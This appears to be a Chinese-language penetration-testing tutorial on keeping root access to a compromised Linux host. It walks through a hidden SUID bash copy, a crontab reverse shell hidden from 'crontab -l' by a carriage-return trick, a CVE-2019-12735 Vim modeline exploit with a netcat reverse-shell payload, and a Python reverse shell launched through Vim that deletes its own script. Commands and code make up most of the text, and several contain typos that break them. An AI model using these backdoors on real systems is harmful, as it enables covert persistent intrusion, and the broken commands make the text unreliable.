目录
利用Linux SUID进行权限维持
利用Linux计划任务进行权限维持
利用Vim创建后门
利用CVE-2019-12735进行权限维持
使用Vim运行Python后门程序
利用Linux SUID进行权限维持
在前面我们使用Linux的SUID权限进行了权限提升,然后SUID还可以用来进行持久化
利用SUID我们可以解除低权限用户获取高权限,但是这种手段通常用在已经获取root权限的情况,攻击者在拿到root权限后,可以使用root权限留下一个SUID后门,这样就算以后权限被降级,攻击者仍然可以使用这个后门取回root权限
(1)首先我们使用root权限的用户执行下列命令,将/bin/bash复制为.exp(.是为了将该文件设置为隐藏文件)
cp /bin/bash .exp
复制成功之后使用以下命令为.exp文件授权SUID权限:
chmod 4755 .exp
接下来我们就可以使用普通用户身份来运行该程序
注:允许时需要加上-p选项,目的是为了绕过Bash 2的限制
可以看到这样我们还是可以恢复到root权限的
利用Linux计划任务进行权限维持
(1)Linux任务计划
计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。
存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令
(2)在Linux中创建隐匿的任务计划
首先我们使用下列命令检查任务计划服务是否正常运行:
service cron status
然后使用crontab -l查看当前用户在系统中创建的任务计划:
要知道Linux中“万物皆文件”,crontab -l命令实际上是调用"cat /var/spool/cron/crontabs 当前登录的用户名"
因此,我们也可以通过直接编辑 /var/spool/cron/crontabs/root来编辑计划任务
echo "*/1 * * * * bash -i > & /dev/tcp/192.168.159.151/10086 0>&1" /var/spool/cron/crontabs/root
(3)那么攻击者可以执行下列命令来在任务计划写入一个一分钟执行一次的会连会话的语句,以达到权限维持的效果,但是这样很容易就会被crontab -l显示出来了
这里可以利用cat命令存在的一个缺陷,会自动识别转义字符,比如执行命令printf "123\r" > 1.txt 执行完成后使用cat命令读取该文件 ,可以看到无法读取123,只有使用vim才能看见文件的内容:
那么我们就可以利用这个特性,写入一个无法被crontab -l获取的计划任务:
执行下列命令来写入任务计划,
(crontab -1;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami %100c\n") |crontab -
执行完就可以看到使用Crontab -l查看是没有内容的,使用vim查看才可以看到内容,达到了创建隐藏后门达到了权限维持的目的
利用Vim创建后门
利用CVE-2019-12735进行权限维持
利用该漏洞可以在Vim打开文件后执行指定命令,该漏洞影响低于Vim 8.1.1365的版本。
漏洞成因是在于Vim 中的modeline功能,开启该功能之后的用户可以输入一些特定的代码来控制编辑器,这个功能限制用户只能输入set命令,且命令只会在沙盒中运行,但是用户可以使用:source!指令来绕过沙盒执行命令
首先需要开启modeline功能对vimrc进行编辑,使用下列命令来开启modeline功能:
echo "set modeline" >> ~/.vimrc
随后使用下列命令将利用代码写入poc.txt
echo ':!id||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >poc.txt
其中id为我们要执行的命令,写入之后使用Vim打开poc.txt就可以看到id执行的命令结果
最后使用下列命令来反弹一个shell:
echo ':!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.151 >/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >shell.txt
参数意义:
fen
: 当值为off时,所有的代码折叠都被打开,默认是off
fdm=expr
: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level
fde=assert_fails("source! %")
: fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。
fdl=0
: 折叠的程度,设置为0时会关闭所有的折叠,默认是0
fdt
: 被关闭的折叠处显示的字符串,默认是”foldtext()”
||
表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a
会执行成功,||
后面的字符串被忽略,所以PoC到这里就执行成功了。
攻击方使用下列命令监听:
nc -l 192.168.159.151 10031
然后在服务器这里使用vim shell.txt命令,攻击者就可以拿到服务器的shell了
使用Vim运行Python后门程序
渗透过程中如果需要执行python脚本,但是系统中并没有python环境,而此时就可以利用Vim自带的插件去运行Python脚本
执行下列命令系向1.py文件写入代码:
echo 'print("hello world")' > 1.py
然后使用Vpyfile插件来运行该Python脚本
使用下列命令:
Vim -E -c "pyfile 1.py"
如果想要反弹shell,可以在文件中写下如下代码:
import socket sybprocess os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.151",8888));
os.dup2(s.filno(),0);
os.dup2(s.filno(),1);
os.dup2(s.filno(),2);
p = subprocess.call(["/bin/sh","-i"]);
然后在攻击机的监听下,在服务器上执行以下命令
$(nohup vim -E -c "py3file 1.py" > /dev/null 2>&1 &) && sleep 2 && rm -f 1.py
执行完成后就会发现反弹shell成功了